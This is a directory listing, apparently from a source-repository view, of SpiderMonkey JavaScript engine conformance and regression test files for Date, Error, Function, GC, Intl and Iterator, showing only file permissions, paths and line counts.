-rw-r--r--js/src/tests/non262/Date/regress-346027.js27
-rw-r--r--js/src/tests/non262/Date/regress-346363.js28
-rw-r--r--js/src/tests/non262/Date/regress-452786.js30
-rw-r--r--js/src/tests/non262/Date/reset-time-zone-cache-same-offset.js30
-rw-r--r--js/src/tests/non262/Date/setTime-argument-shortcircuiting.js147
-rw-r--r--js/src/tests/non262/Date/shell.js311
-rw-r--r--js/src/tests/non262/Date/time-components-negative-zero.js18
-rw-r--r--js/src/tests/non262/Date/time-zone-2038-pst.js43
-rw-r--r--js/src/tests/non262/Date/time-zone-etc_localetime.js29
-rw-r--r--js/src/tests/non262/Date/time-zone-path.js30
-rw-r--r--js/src/tests/non262/Date/time-zone-pst.js120
-rw-r--r--js/src/tests/non262/Date/time-zones-historic.js538
-rw-r--r--js/src/tests/non262/Date/time-zones-imported.js1020
-rw-r--r--js/src/tests/non262/Date/time-zones-pedantic.js15
-rw-r--r--js/src/tests/non262/Date/time-zones-posix.js160
-rw-r--r--js/src/tests/non262/Date/time-zones.js261
-rw-r--r--js/src/tests/non262/Date/timeclip.js42
-rw-r--r--js/src/tests/non262/Date/toISOString-01.js53
-rw-r--r--js/src/tests/non262/Date/toISOString.js24
-rw-r--r--js/src/tests/non262/Date/toJSON-01.js238
-rw-r--r--js/src/tests/non262/Date/toPrimitive.js62
-rw-r--r--js/src/tests/non262/Date/toString-generic.js15
-rw-r--r--js/src/tests/non262/Date/toString-localized-posix.js71
-rw-r--r--js/src/tests/non262/Date/toString-localized.js90
-rw-r--r--js/src/tests/non262/Date/two-digit-years.js71
-rw-r--r--js/src/tests/non262/Error/AggregateError.js80
-rw-r--r--js/src/tests/non262/Error/browser.js0
-rw-r--r--js/src/tests/non262/Error/constructor-ordering.js17
-rw-r--r--js/src/tests/non262/Error/constructor-proto.js17
-rw-r--r--js/src/tests/non262/Error/prototype-properties.js26
-rw-r--r--js/src/tests/non262/Error/prototype.js18
-rw-r--r--js/src/tests/non262/Error/regress-354246.js34
-rw-r--r--js/src/tests/non262/Error/regress-412324.js17
-rw-r--r--js/src/tests/non262/Error/regress-465377.js78
-rw-r--r--js/src/tests/non262/Error/shell.js0
-rw-r--r--js/src/tests/non262/Exceptions/browser.js0
-rw-r--r--js/src/tests/non262/Exceptions/catchguard-002-n.js31
-rw-r--r--js/src/tests/non262/Exceptions/catchguard-003-n.js35
-rw-r--r--js/src/tests/non262/Exceptions/error-expando-reconfigure.js28
-rw-r--r--js/src/tests/non262/Exceptions/error-property-enumerability.js30
-rw-r--r--js/src/tests/non262/Exceptions/errstack-001.js242
-rw-r--r--js/src/tests/non262/Exceptions/regress-121658.js121
-rw-r--r--js/src/tests/non262/Exceptions/regress-123002.js90
-rw-r--r--js/src/tests/non262/Exceptions/regress-181654.js118
-rw-r--r--js/src/tests/non262/Exceptions/regress-181914.js157
-rw-r--r--js/src/tests/non262/Exceptions/regress-257751.js92
-rw-r--r--js/src/tests/non262/Exceptions/regress-273931.js74
-rw-r--r--js/src/tests/non262/Exceptions/regress-332472.js25
-rw-r--r--js/src/tests/non262/Exceptions/regress-333728.js83
-rw-r--r--js/src/tests/non262/Exceptions/regress-342359.js43
-rw-r--r--js/src/tests/non262/Exceptions/regress-347674.js63
-rw-r--r--js/src/tests/non262/Exceptions/regress-350650-n.js28
-rw-r--r--js/src/tests/non262/Exceptions/regress-350837.js43
-rw-r--r--js/src/tests/non262/Exceptions/regress-58946.js33
-rw-r--r--js/src/tests/non262/Exceptions/regress-95101.js81
-rw-r--r--js/src/tests/non262/Exceptions/shell.js0
-rw-r--r--js/src/tests/non262/Function/10.1.6-01.js29
-rw-r--r--js/src/tests/non262/Function/10.1.6.js23
-rw-r--r--js/src/tests/non262/Function/10.2.1.1.6.js35
-rw-r--r--js/src/tests/non262/Function/15.3.4.3-01.js245
-rw-r--r--js/src/tests/non262/Function/Function-arguments-gc.js40
-rw-r--r--js/src/tests/non262/Function/Function-prototype.js11
-rw-r--r--js/src/tests/non262/Function/Function-with-eval.js25
-rw-r--r--js/src/tests/non262/Function/Object-toSource.js373
-rw-r--r--js/src/tests/non262/Function/arguments-caller-callee.js64
-rw-r--r--js/src/tests/non262/Function/arguments-extra-property.js33
-rw-r--r--js/src/tests/non262/Function/arguments-iterator.js167
-rw-r--r--js/src/tests/non262/Function/arguments-parameter-shadowing.js22
-rw-r--r--js/src/tests/non262/Function/arguments-property-attributes.js98
-rw-r--r--js/src/tests/non262/Function/arrow-has-duplicated.js15
-rw-r--r--js/src/tests/non262/Function/bound-length-and-name.js40
-rw-r--r--js/src/tests/non262/Function/bound-non-constructable.js17
-rw-r--r--js/src/tests/non262/Function/bound-prototype.js37
-rw-r--r--js/src/tests/non262/Function/browser.js0
-rw-r--r--js/src/tests/non262/Function/builtin-no-construct.js52
-rw-r--r--js/src/tests/non262/Function/builtin-no-prototype.js40
-rw-r--r--js/src/tests/non262/Function/configurable-length-builtins.js21
-rw-r--r--js/src/tests/non262/Function/configurable-length.js86
-rw-r--r--js/src/tests/non262/Function/construct-bound-proxy-with-many-arguments.js13
-rw-r--r--js/src/tests/non262/Function/constructor-binding.js11
-rw-r--r--js/src/tests/non262/Function/create-function-parse-before-getprototype.js17
-rw-r--r--js/src/tests/non262/Function/function-bind.js280
-rw-r--r--js/src/tests/non262/Function/function-call.js134
-rw-r--r--js/src/tests/non262/Function/function-caller-restrictions.js29
-rw-r--r--js/src/tests/non262/Function/function-caller.js45
-rw-r--r--js/src/tests/non262/Function/function-constructor-toString-arguments-before-parsing-params.js23
-rw-r--r--js/src/tests/non262/Function/function-name-assignment.js139
-rw-r--r--js/src/tests/non262/Function/function-name-binding.js54
-rw-r--r--js/src/tests/non262/Function/function-name-class.js32
-rw-r--r--js/src/tests/non262/Function/function-name-computed-01.js57
-rw-r--r--js/src/tests/non262/Function/function-name-computed-02.js57
-rw-r--r--js/src/tests/non262/Function/function-name-for.js31
-rw-r--r--js/src/tests/non262/Function/function-name-method.js70
-rw-r--r--js/src/tests/non262/Function/function-name-property.js58
-rw-r--r--js/src/tests/non262/Function/function-name.js64
-rw-r--r--js/src/tests/non262/Function/function-toString-builtin-name.js53
-rw-r--r--js/src/tests/non262/Function/function-toString-builtin.js42
-rw-r--r--js/src/tests/non262/Function/get-function-realm.js45
-rw-r--r--js/src/tests/non262/Function/has-instance-jitted.js96
-rw-r--r--js/src/tests/non262/Function/has-instance.js101
-rw-r--r--js/src/tests/non262/Function/implicit-this-in-parameter-expression.js18
-rw-r--r--js/src/tests/non262/Function/invalid-parameter-list.js27
-rw-r--r--js/src/tests/non262/Function/length-with-destructuring-and-parameter-expression.js31
-rw-r--r--js/src/tests/non262/Function/line-terminator-before-arrow.js9
-rw-r--r--js/src/tests/non262/Function/method-has-duplicated.js19
-rw-r--r--js/src/tests/non262/Function/parameter-redeclaration.js19
-rw-r--r--js/src/tests/non262/Function/redefine-arguments-length.js65
-rw-r--r--js/src/tests/non262/Function/regress-123371.js19
-rw-r--r--js/src/tests/non262/Function/regress-131964.js159
-rw-r--r--js/src/tests/non262/Function/regress-137181.js76
-rw-r--r--js/src/tests/non262/Function/regress-178389.js26
-rw-r--r--js/src/tests/non262/Function/regress-193555.js99
-rw-r--r--js/src/tests/non262/Function/regress-222029-001.js123
-rw-r--r--js/src/tests/non262/Function/regress-222029-002.js132
-rw-r--r--js/src/tests/non262/Function/regress-292215.js37
-rw-r--r--js/src/tests/non262/Function/regress-313570.js30
-rw-r--r--js/src/tests/non262/Function/regress-338001.js42
-rw-r--r--js/src/tests/non262/Function/regress-338121-01.js33
-rw-r--r--js/src/tests/non262/Function/regress-338121-02.js36
-rw-r--r--js/src/tests/non262/Function/regress-338121-03.js38
-rw-r--r--js/src/tests/non262/Function/regress-344052.js27
-rw-r--r--js/src/tests/non262/Function/regress-364023.js37
-rw-r--r--js/src/tests/non262/Function/regress-49286.js100
-rw-r--r--js/src/tests/non262/Function/regress-518103.js27
-rw-r--r--js/src/tests/non262/Function/regress-524826.js28
-rw-r--r--js/src/tests/non262/Function/regress-528082.js20
-rw-r--r--js/src/tests/non262/Function/regress-533254.js28
-rw-r--r--js/src/tests/non262/Function/regress-545980.js41
-rw-r--r--js/src/tests/non262/Function/regress-58274.js189
-rw-r--r--js/src/tests/non262/Function/regress-85880.js136
-rw-r--r--js/src/tests/non262/Function/regress-94506.js126
-rw-r--r--js/src/tests/non262/Function/regress-97921.js115
-rw-r--r--js/src/tests/non262/Function/rest-has-duplicated.js17
-rw-r--r--js/src/tests/non262/Function/rest-parameter-names.js68
-rw-r--r--js/src/tests/non262/Function/return-finally.js172
-rw-r--r--js/src/tests/non262/Function/shell.js0
-rw-r--r--js/src/tests/non262/Function/spread-iterator-primitive.js28
-rw-r--r--js/src/tests/non262/Function/strict-arguments.js453
-rw-r--r--js/src/tests/non262/Function/throw-type-error.js16
-rw-r--r--js/src/tests/non262/GC/browser.js0
-rw-r--r--js/src/tests/non262/GC/regress-104584.js46
-rw-r--r--js/src/tests/non262/GC/regress-203278-2.js80
-rw-r--r--js/src/tests/non262/GC/regress-203278-3.js42
-rw-r--r--js/src/tests/non262/GC/regress-278725.js29
-rw-r--r--js/src/tests/non262/GC/regress-306788.js24
-rw-r--r--js/src/tests/non262/GC/regress-311497.js61
-rw-r--r--js/src/tests/non262/GC/regress-313276.js40
-rw-r--r--js/src/tests/non262/GC/regress-313479.js37
-rw-r--r--js/src/tests/non262/GC/regress-316885-01.js33
-rw-r--r--js/src/tests/non262/GC/regress-316885-02.js42
-rw-r--r--js/src/tests/non262/GC/regress-316885-03.js42
-rw-r--r--js/src/tests/non262/GC/regress-319980-01.js117
-rw-r--r--js/src/tests/non262/GC/regress-324278.js63
-rw-r--r--js/src/tests/non262/GC/regress-331719.js19
-rw-r--r--js/src/tests/non262/GC/regress-338653.js41
-rw-r--r--js/src/tests/non262/GC/regress-341877-01.js40
-rw-r--r--js/src/tests/non262/GC/regress-341877-02.js45
-rw-r--r--js/src/tests/non262/GC/regress-346794.js40
-rw-r--r--js/src/tests/non262/GC/regress-348532.js51
-rw-r--r--js/src/tests/non262/GC/regress-352606.js25
-rw-r--r--js/src/tests/non262/GC/regress-383269-01.js59
-rw-r--r--js/src/tests/non262/GC/regress-383269-02.js63
-rw-r--r--js/src/tests/non262/GC/regress-390078.js33
-rw-r--r--js/src/tests/non262/GC/regress-418128.js36
-rw-r--r--js/src/tests/non262/GC/regress-440558.js34
-rw-r--r--js/src/tests/non262/GC/shell.js0
-rw-r--r--js/src/tests/non262/Intl/Array/shell.js0
-rw-r--r--js/src/tests/non262/Intl/Array/toLocaleString-date.js53
-rw-r--r--js/src/tests/non262/Intl/Array/toLocaleString-number.js34
-rw-r--r--js/src/tests/non262/Intl/Array/toLocaleString.js35
-rw-r--r--js/src/tests/non262/Intl/Collator/big5han-gb2312han.js22
-rw-r--r--js/src/tests/non262/Intl/Collator/browser.js0
-rw-r--r--js/src/tests/non262/Intl/Collator/call.js74
-rw-r--r--js/src/tests/non262/Intl/Collator/caseFirst.js197
-rw-r--r--js/src/tests/non262/Intl/Collator/collation.js90
-rw-r--r--js/src/tests/non262/Intl/Collator/compare.js137
-rw-r--r--js/src/tests/non262/Intl/Collator/construct-newtarget.js81
-rw-r--r--js/src/tests/non262/Intl/Collator/cross-compartment.js22
-rw-r--r--js/src/tests/non262/Intl/Collator/implicithan.js17
-rw-r--r--js/src/tests/non262/Intl/Collator/shell.js0
-rw-r--r--js/src/tests/non262/Intl/Collator/supportedLocalesOf.js355
-rw-r--r--js/src/tests/non262/Intl/Collator/toStringTag.js29
-rw-r--r--js/src/tests/non262/Intl/Date/browser.js0
-rw-r--r--js/src/tests/non262/Intl/Date/shell.js0
-rw-r--r--js/src/tests/non262/Intl/Date/toLocaleDateString_timeZone.js77
-rw-r--r--js/src/tests/non262/Intl/Date/toLocaleString_timeZone.js77
-rw-r--r--js/src/tests/non262/Intl/Date/toLocaleTimeString_timeZone.js77
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/browser.js3
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/calendar-aliases.js35
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/calendar-option.js67
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/call.js184
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/construct-newtarget.js81
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/cross-compartment.js70
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/dateTimeStyle.js57
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/day-period-hour-cycle.js102
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/day-period-standalone.js160
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/day-period.js40
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/era.js245
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/extended-time-zone-names.js124
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/field-widths.js225
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/format.js47
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/formatRange-gregorian-proleptic.js28
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/formatRange-hour-cycle.js450
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/formatRange-matches-format-output.js58
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/formatRange-original-skeleton.js18
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/formatToParts.js96
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/format_timeZone-non-meta.js62
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/format_timeZone.js104
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/fractional-second-digits-append-item.js58
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/fractional-second-digits.js43
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/hourCycle.js142
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/implied-script-has-consistent-output.js59
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/islamic.js89
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/japanese-gannen-year.js54
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/mozExtensions.js18
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/numberingSystem-option.js60
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/options-property-accesses.js77
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/related-year.js185
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/shell.js34
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/standalone-month.js11
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/supportedLocalesOf.js371
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/timeZone.js139
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/timeZone_backward_links.js156
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/timeZone_backzone.js153
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/timeZone_backzone_links.js48
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/timeZone_notbackward_links.js31
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/timeZone_version.js17
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/toStringTag.js29
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/tz-environment-variable.js67
-rw-r--r--js/src/tests/non262/Intl/DateTimeFormat/unwrapping.js248
-rw-r--r--js/src/tests/non262/Intl/DisplayNames/abbreviated.js28
-rw-r--r--js/src/tests/non262/Intl/DisplayNames/alias-and-parent-locales.js33
-rw-r--r--js/src/tests/non262/Intl/DisplayNames/browser.js0
-rw-r--r--js/src/tests/non262/Intl/DisplayNames/calendar.js123
-rw-r--r--js/src/tests/non262/Intl/DisplayNames/currency.js150
-rw-r--r--js/src/tests/non262/Intl/DisplayNames/dateTimeField.js176
-rw-r--r--js/src/tests/non262/Intl/DisplayNames/dayPeriod.js80
-rw-r--r--js/src/tests/non262/Intl/DisplayNames/language-dialect.js104
-rw-r--r--js/src/tests/non262/Intl/DisplayNames/language.js205
-rw-r--r--js/src/tests/non262/Intl/DisplayNames/month-calendar.js18
-rw-r--r--js/src/tests/non262/Intl/DisplayNames/month.js104
-rw-r--r--js/src/tests/non262/Intl/DisplayNames/quarter.js74
-rw-r--r--js/src/tests/non262/Intl/DisplayNames/region.js157
-rw-r--r--js/src/tests/non262/Intl/DisplayNames/script.js134
-rw-r--r--js/src/tests/non262/Intl/DisplayNames/shell.js6
-rw-r--r--js/src/tests/non262/Intl/DisplayNames/weekday.js77
-rw-r--r--js/src/tests/non262/Intl/ListFormat/browser.js0
-rw-r--r--js/src/tests/non262/Intl/ListFormat/conjunction-type.js116
-rw-r--r--js/src/tests/non262/Intl/ListFormat/cross-compartment.js42
-rw-r--r--js/src/tests/non262/Intl/ListFormat/disjunction-type.js108
-rw-r--r--js/src/tests/non262/Intl/ListFormat/same-compartment.js40
-rw-r--r--js/src/tests/non262/Intl/ListFormat/shell.js21
-rw-r--r--js/src/tests/non262/Intl/ListFormat/supported-locales.js18
-rw-r--r--js/src/tests/non262/Intl/ListFormat/unit-type.js149
-rw-r--r--js/src/tests/non262/Intl/Locale/apply-options-to-tag-canonicalize-twice.js11
-rw-r--r--js/src/tests/non262/Intl/Locale/browser.js0
-rw-r--r--js/src/tests/non262/Intl/Locale/coerce-options-before-validating-tag.js10
-rw-r--r--js/src/tests/non262/Intl/Locale/cross-compartment.js28
-rw-r--r--js/src/tests/non262/Intl/Locale/legacy.js75
-rw-r--r--js/src/tests/non262/Intl/Locale/likely-subtags-generated.js15797
-rw-r--r--js/src/tests/non262/Intl/Locale/likely-subtags.js61
-rw-r--r--js/src/tests/non262/Intl/Locale/same-compartment.js26
-rw-r--r--js/src/tests/non262/Intl/Locale/shell.js0
-rw-r--r--js/src/tests/non262/Intl/Locale/surface.js98
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/StringBuffer.js37
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/bigint-int64.js40
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/browser.js0
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/call.js184
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/construct-newtarget.js81
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/cross-compartment.js70
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/currency-narrow-symbol.js40
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/currency-sign-accounting.js192
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/duplicate-singleton-variant.js49
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/format-as-code-or-name.js75
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/format-string.js150
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/format.js55
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/formatRange-BigInt.js150
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/formatRange.js296
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/formatRangeToParts-approximately-sign-compact.js34
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/formatRangeToParts-approximately-sign-currency.js34
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/formatRangeToParts-approximately-sign-percent.js34
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/formatRangeToParts-approximately-sign-signDisplay.js34
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/formatRangeToParts-approximately-sign-unit.js41
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/formatRangeToParts-approximately-sign.js34
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/formatRangeToParts.js174
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/formatToParts.js357
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/formatting-NaN.js35
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/negativeZeroFractionDigits.js21
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/notation-compact-long.js139
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/notation-compact-short.js136
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/notation-compact-with-fraction-digits.js17
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/notation-engineering.js136
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/notation-scientific.js136
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/numberingSystem-format.js18
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/numberingSystem-option.js60
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/options-emulate-undefined.js13
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/remove-unicode-extensions.js25
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/rounding-increment.js102
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/rounding-mode.js287
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/rounding-priority.js132
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/shell.js77
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/sign-display.js187
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/significantDigitsOfZero.js38
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/supportedLocalesOf.js371
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/toStringTag.js29
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/trailing-zero-display.js98
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/unit-compound-combinations.js65
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/unit-formatToParts-has-unit-field.js90
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/unit-well-formed.js267
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/unit.js104
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/unwrapping.js248
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/use-grouping-bool-string.js10
-rw-r--r--js/src/tests/non262/Intl/NumberFormat/use-grouping.js97
-rw-r--r--js/src/tests/non262/Intl/PluralRules/browser.js0
-rw-r--r--js/src/tests/non262/Intl/PluralRules/call.js53
-rw-r--r--js/src/tests/non262/Intl/PluralRules/construct-newtarget.js76
-rw-r--r--js/src/tests/non262/Intl/PluralRules/cross-compartment.js22
-rw-r--r--js/src/tests/non262/Intl/PluralRules/negativeZeroFractionDigits.js21
-rw-r--r--js/src/tests/non262/Intl/PluralRules/pluralrules.js18
-rw-r--r--js/src/tests/non262/Intl/PluralRules/resolvedOptions-overridden-species.js25
-rw-r--r--js/src/tests/non262/Intl/PluralRules/rounding.js17
-rw-r--r--js/src/tests/non262/Intl/PluralRules/select.js63
-rw-r--r--js/src/tests/non262/Intl/PluralRules/selectRange.js84
-rw-r--r--js/src/tests/non262/Intl/PluralRules/shell.js0
-rw-r--r--js/src/tests/non262/Intl/PluralRules/supportedLocalesOf.js369
-rw-r--r--js/src/tests/non262/Intl/README.txt27
-rw-r--r--js/src/tests/non262/Intl/RelativeTimeFormat/browser.js0
-rw-r--r--js/src/tests/non262/Intl/RelativeTimeFormat/construct-newtarget.js21
-rw-r--r--js/src/tests/non262/Intl/RelativeTimeFormat/cross-compartment.js22
-rw-r--r--js/src/tests/non262/Intl/RelativeTimeFormat/format.js145
-rw-r--r--js/src/tests/non262/Intl/RelativeTimeFormat/locale-fallback-handling.js15
-rw-r--r--js/src/tests/non262/Intl/RelativeTimeFormat/numbering-system.js22
-rw-r--r--js/src/tests/non262/Intl/RelativeTimeFormat/numberingSystem-option.js60
-rw-r--r--js/src/tests/non262/Intl/RelativeTimeFormat/relativetimeformat.js15
-rw-r--r--js/src/tests/non262/Intl/RelativeTimeFormat/shell.js0
-rw-r--r--js/src/tests/non262/Intl/RelativeTimeFormat/supportedLocalesOf.js373
-rw-r--r--js/src/tests/non262/Intl/String/shell.js0
-rw-r--r--js/src/tests/non262/Intl/String/toLocaleLowerCase.js64
-rw-r--r--js/src/tests/non262/Intl/String/toLocaleUpperCase.js64
-rw-r--r--js/src/tests/non262/Intl/TypedArray/shell.js0
-rw-r--r--js/src/tests/non262/Intl/TypedArray/toLocaleString.js103
-rw-r--r--js/src/tests/non262/Intl/available-locales-implied-script.js35
-rw-r--r--js/src/tests/non262/Intl/available-locales-resolved.js41
-rw-r--r--js/src/tests/non262/Intl/available-locales-supported.js26
-rw-r--r--js/src/tests/non262/Intl/best-available-locale-from-default-locale.js107
-rw-r--r--js/src/tests/non262/Intl/browser.js0
-rw-r--r--js/src/tests/non262/Intl/default-locale-shell.js16
-rw-r--r--js/src/tests/non262/Intl/duplicate-variants.js46
-rw-r--r--js/src/tests/non262/Intl/extensions/browser.js0
-rw-r--r--js/src/tests/non262/Intl/extensions/options-value-emulates-undefined.js29
-rw-r--r--js/src/tests/non262/Intl/extensions/shell.js0
-rw-r--r--js/src/tests/non262/Intl/extensions/unicode-extension-sequences.js74
-rw-r--r--js/src/tests/non262/Intl/fallback-symbol.js22
-rw-r--r--js/src/tests/non262/Intl/four-letter-language-codes.js22
-rw-r--r--js/src/tests/non262/Intl/getCalendarInfo.js76
-rw-r--r--js/src/tests/non262/Intl/getCanonicalLocales-overridden-arg-length.js20
-rw-r--r--js/src/tests/non262/Intl/getCanonicalLocales-overridden-push.js16
-rw-r--r--js/src/tests/non262/Intl/getCanonicalLocales-overridden-set.js16
-rw-r--r--js/src/tests/non262/Intl/getCanonicalLocales-overridden-species.js23
-rw-r--r--js/src/tests/non262/Intl/getCanonicalLocales-weird-cases.js25
-rw-r--r--js/src/tests/non262/Intl/getCanonicalLocales-with-duplicates.js15
-rw-r--r--js/src/tests/non262/Intl/getCanonicalLocales.js37
-rw-r--r--js/src/tests/non262/Intl/legacy-and-sign-locales-with-unicode-extensions.js79
-rw-r--r--js/src/tests/non262/Intl/resolved-locale-sorted-unicode-extension-keys.js109
-rw-r--r--js/src/tests/non262/Intl/shell.js340
-rw-r--r--js/src/tests/non262/Intl/supportedValuesOf-calendar.js25
-rw-r--r--js/src/tests/non262/Intl/supportedValuesOf-collation.js44
-rw-r--r--js/src/tests/non262/Intl/supportedValuesOf-currency.js24
-rw-r--r--js/src/tests/non262/Intl/supportedValuesOf-numberingSystem.js37
-rw-r--r--js/src/tests/non262/Intl/supportedValuesOf-timeZones-canonical.js487
-rw-r--r--js/src/tests/non262/Intl/supportedValuesOf-timeZones.js20
-rw-r--r--js/src/tests/non262/Intl/supportedValuesOf-unit.js20
-rw-r--r--js/src/tests/non262/Intl/tolower-ascii-equivalent.js47
-rw-r--r--js/src/tests/non262/Intl/unicode-bcp47-locale-ids-extlangs.js21
-rw-r--r--js/src/tests/non262/Intl/unicode-bcp47-locale-ids-language-mappings.js39
-rw-r--r--js/src/tests/non262/Intl/unicode-bcp47-locale-ids-languages-mappings-complex.js21
-rw-r--r--js/src/tests/non262/Intl/unicode-bcp47-locale-ids-legacy.js52
-rw-r--r--js/src/tests/non262/Intl/unicode-bcp47-locale-ids-region-and-subdivision.js12
-rw-r--r--js/src/tests/non262/Intl/unicode-bcp47-locale-ids-region-mappings-complex.js57
-rw-r--r--js/src/tests/non262/Intl/unicode-bcp47-locale-ids-region-mappings.js22
-rw-r--r--js/src/tests/non262/Intl/unicode-bcp47-locale-ids-sign-languages.js23
-rw-r--r--js/src/tests/non262/Intl/unicode-bcp47-locale-ids-transformed-ext.js71
-rw-r--r--js/src/tests/non262/Intl/unicode-bcp47-locale-ids-unicode-ext.js12
-rw-r--r--js/src/tests/non262/Intl/unicode-bcp47-locale-ids-variants-legacy-mappings.js47
-rw-r--r--js/src/tests/non262/Intl/unicode-bcp47-locale-ids-variants-sorted.js31
-rw-r--r--js/src/tests/non262/Intl/variant-with-preferred-value.js58
-rw-r--r--js/src/tests/non262/Iterator/constructor-subclassable.js12
-rw-r--r--js/src/tests/non262/Iterator/constructor-throw-when-called-directly.js9
-rw-r--r--js/src/tests/non262/Iterator/constructor-throw-without-new.js9
-rw-r--r--js/src/tests/non262/Iterator/constructor.js9
-rw-r--r--js/src/tests/non262/Iterator/from/Iterator.from-descriptor.js12
-rw-r--r--js/src/tests/non262/Iterator/from/Iterator.from-length.js17
-rw-r--r--js/src/tests/non262/Iterator/from/Iterator.from-name.js13
-rw-r--r--js/src/tests/non262/Iterator/from/call-from-with-different-this.js18
-rw-r--r--js/src/tests/non262/Iterator/from/iterator-not-callable-throws.js13
-rw-r--r--js/src/tests/non262/Iterator/from/modify-next.js15
-rw-r--r--js/src/tests/non262/Iterator/from/modify-return.js22
-rw-r--r--js/src/tests/non262/Iterator/from/modify-throw.js18
-rw-r--r--js/src/tests/non262/Iterator/from/o-not-object-throws.js13
-rw-r--r--js/src/tests/non262/Iterator/from/proxy-not-wrapped.js34
-rw-r--r--js/src/tests/non262/Iterator/from/proxy-wrap-next.js30
-rw-r--r--js/src/tests/non262/Iterator/from/proxy-wrap-return.js31
-rw-r--r--js/src/tests/non262/Iterator/from/proxy-wrap-throw.js31
-rw-r--r--js/src/tests/non262/Iterator/from/return-iterator-if-iterable.js25
-rw-r--r--js/src/tests/non262/Iterator/from/return-wrapper-if-not-iterable.js28
-rw-r--r--js/src/tests/non262/Iterator/from/return-wrapper-if-not-iterator-instance.js24
-rw-r--r--js/src/tests/non262/Iterator/from/wrap-functions-on-other-global.js31
-rw-r--r--js/src/tests/non262/Iterator/from/wrap-method-with-non-wrap-this-throws.js42
-rw-r--r--js/src/tests/non262/Iterator/from/wrap-new-global.js9
-rw-r--r--js/src/tests/non262/Iterator/from/wrap-next-forwards-value.js18
-rw-r--r--js/src/tests/non262/Iterator/from/wrap-next-not-object-throws.js14
-rw-r--r--js/src/tests/non262/Iterator/from/wrap-return-closes-iterator.js33
